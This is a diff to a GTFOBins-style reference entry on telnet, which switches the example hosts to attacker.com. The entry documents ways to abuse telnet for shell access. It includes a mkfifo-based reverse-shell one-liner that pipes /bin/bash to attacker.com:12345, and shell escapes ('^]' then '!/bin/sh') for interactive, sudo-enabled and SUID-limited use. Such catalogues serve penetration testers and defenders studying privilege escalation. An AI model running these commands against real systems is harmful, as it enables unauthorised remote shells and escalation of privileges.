Use target.com and attacker.com

_gtfobins/telnet.md

@@ -1,34 +1,34 @@
 ---
 functions:
   exec-interactive:
-    - description: BSD version only.
+    - description: BSD version only. Needs to be connected first.
       code: |
-        RHOST=www.google.com
-        RPORT=80
+        RHOST=attacker.com
+        RPORT=12345
         telnet $RHOST $RPORT
         ^]
         !/bin/sh
   reverse-shell:
     - description: Run `nc -l -p 12345` to receive the shell on the other end.
       code: |
-        RHOST=10.0.0.1
+        RHOST=attacker.com
         RPORT=12345
         TF=$(mktemp)
         rm $TF
         mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/bash 1>$TF
   sudo-enabled:
-    - description: BSD version only.
+    - description: BSD version only. Needs to be connected first.
       code: |
-        RHOST=www.google.com
-        RPORT=80
+        RHOST=attacker.com
+        RPORT=12345
         sudo telnet $RHOST $RPORT
         ^]
         !/bin/sh
   suid-limited:
-    - description: BSD version only.
+    - description: BSD version only. Needs to be connected first.
       code: |
-        RHOST=www.google.com
-        RPORT=80
+        RHOST=attacker.com
+        RPORT=12345
         ./telnet $RHOST $RPORT
         ^]
         !/bin/sh